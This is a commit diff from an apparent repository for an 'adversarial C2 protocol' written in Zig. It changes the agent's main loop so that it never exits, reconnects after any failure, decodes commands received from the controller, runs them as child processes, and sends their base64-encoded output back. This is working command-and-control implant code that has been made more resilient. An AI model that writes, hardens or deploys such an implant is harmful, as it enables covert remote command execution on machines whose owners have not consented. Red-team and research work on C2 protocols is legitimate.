Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Remove any possible exit paths from main loop.

+58 -9
+1 -1
src/RawSocket.zig
··· 100 100 }; 101 101 } 102 102 103 - pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) !void { 103 + pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) error{SetTimeoutError}!void { 104 104 const timeout: std.os.linux.timeval = .{ .sec = sec, .usec = usec }; 105 105 const timeout_ret = std.os.linux.setsockopt(self.fd, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout))); 106 106 if (timeout_ret != 0) return error.SetTimeoutError;
+57 -8
src/main.zig
··· 148 148 reconnect: while (true) { 149 149 client = SaprusClient.init() catch |err| switch (err) { 150 150 error.NoInterfaceFound => { 151 - try init.io.sleep(.fromMilliseconds(100), .boot); 151 + init.io.sleep(.fromMilliseconds(100), .boot) catch unreachable; 152 152 continue :reconnect; 153 153 }, 154 154 else => |e| return e, ··· 156 156 defer client.deinit(); 157 157 log.debug("Starting connection", .{}); 158 158 159 - try client.socket.setTimeout(if (is_debug) 3 else 25, 0); 159 + client.socket.setTimeout(if (is_debug) 3 else 25, 0) catch { 160 + log.err("Unable to set timeout", .{}); 161 + init.io.sleep(.fromMilliseconds(100), .boot) catch unreachable; 162 + continue :reconnect; 163 + }; 160 164 var connection = client.connect(init.io, w.buffered()) catch { 161 165 log.debug("Connection timed out", .{}); 162 - continue; 166 + continue :reconnect; 163 167 }; 164 168 165 169 log.debug("Connection started", .{}); 166 170 167 171 next_message: while (true) { 168 172 var res_buf: [2048]u8 = undefined; 169 - try client.socket.setTimeout(if (is_debug) 60 else 600, 0); 173 + client.socket.setTimeout(if (is_debug) 60 else 600, 0) catch { 174 + log.err("Unable to set timeout", .{}); 175 + init.io.sleep(.fromMilliseconds(100), .boot) catch unreachable; 176 + continue :reconnect; 177 + }; 170 178 const next = connection.next(init.io, &res_buf) catch { 171 179 continue :reconnect; 172 180 }; 173 181 174 182 const b64d = std.base64.standard.Decoder; 175 183 var connection_payload_buf: [2048]u8 = undefined; 176 - const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)]; 184 + const connection_payload = blk: { 185 + const size = b64d.calcSizeForSlice(next) catch |err| switch (err) { 186 + error.InvalidCharacter, error.InvalidPadding => { 187 + log.warn("Invalid base64 message received, ignoring: '{s}'", .{next}); 188 + continue :next_message; 189 + }, 190 + error.NoSpaceLeft => { 191 + log.warn("No space left when decoding base64 string, ignoring.", .{}); 192 + continue :next_message; 193 + }, 194 + }; 195 + break :blk connection_payload_buf[0..size]; 196 + }; 177 197 b64d.decode(connection_payload, next) catch { 178 198 log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload}); 179 199 continue; ··· 221 241 222 242 var is_killed: std.atomic.Value(bool) = .init(false); 223 243 224 - var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed }); 244 + var kill_task = init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed }) catch unreachable; 225 245 defer _ = kill_task.cancel(init.io) catch {}; 226 246 227 247 var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined; ··· 244 264 break; 245 265 }, 246 266 }; 247 - cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable; 267 + const child_output_chunk = child_output_reader.interface.takeArray(child_output_buf.len) catch |err| switch (err) { 268 + error.EndOfStream => { 269 + log.warn("Reached end of stream when reading from the child process. Maybe this should be handled more gracefull, but ignoring for now.", .{}); 270 + continue :next_message; 271 + }, 272 + error.ReadFailed => if (child_output_reader.err) |co_err| switch (co_err) { 273 + error.AccessDenied, 274 + error.ConnectionResetByPeer, 275 + error.InputOutput, 276 + error.IsDir, 277 + error.LockViolation, 278 + error.NotOpenForReading, 279 + error.SocketUnconnected, 280 + error.SystemResources, 281 + error.WouldBlock, 282 + => |e| { 283 + log.err("Unending error reading output from child process: {t}", .{e}); 284 + continue :next_message; 285 + }, 286 + error.Canceled => |e| return e, 287 + error.Unexpected => { 288 + log.err("Unexpected error reading output from child process.", .{}); 289 + continue :next_message; 290 + }, 291 + } else { 292 + log.err("Shouldn't get here :(", .{}); 293 + continue :next_message; 294 + }, 295 + }; 296 + cmd_output.print("{b64}", .{child_output_chunk}) catch unreachable; 248 297 connection.send(init.io, .{}, cmd_output.buffered()) catch |err| { 249 298 log.debug("Failed to send connection chunk: {t}", .{err}); 250 299 continue :next_message; 251 300 }; 252 - try init.io.sleep(.fromMilliseconds(40), .boot); 301 + init.io.sleep(.fromMilliseconds(40), .boot) catch unreachable; 253 302 } else { 254 303 kill_task.cancel(init.io) catch {}; 255 304 killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| {